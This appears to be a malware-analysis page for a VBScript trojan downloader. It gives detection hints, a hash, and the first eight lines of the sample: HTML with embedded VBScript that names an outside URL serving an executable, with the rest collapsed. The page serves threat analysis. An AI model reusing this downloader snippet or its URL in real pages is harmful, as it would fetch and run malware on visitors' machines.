Benign Download

Trojan-Downloader.VBS.Agent.pz

HTTP URL ending in executable suffixScript saves stream bytes to file
SHA-256ea6b031e34fe43cf1be1d90b3155cab375d7c78bf5d3638b5a837f719122d20d
MaleculeH₂(Cm₂F)

Evidence

References HTTP responseBody property lines 1–48
1<html>
2<body>
3</body>
4<script language=VBScript>
5On Error Resume Next
6tcsafe_ulr = "http://www.plgou.com/csrss/rondll32.exe"
7tcsafes"o"
8tcsafess="b"
⋯40 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.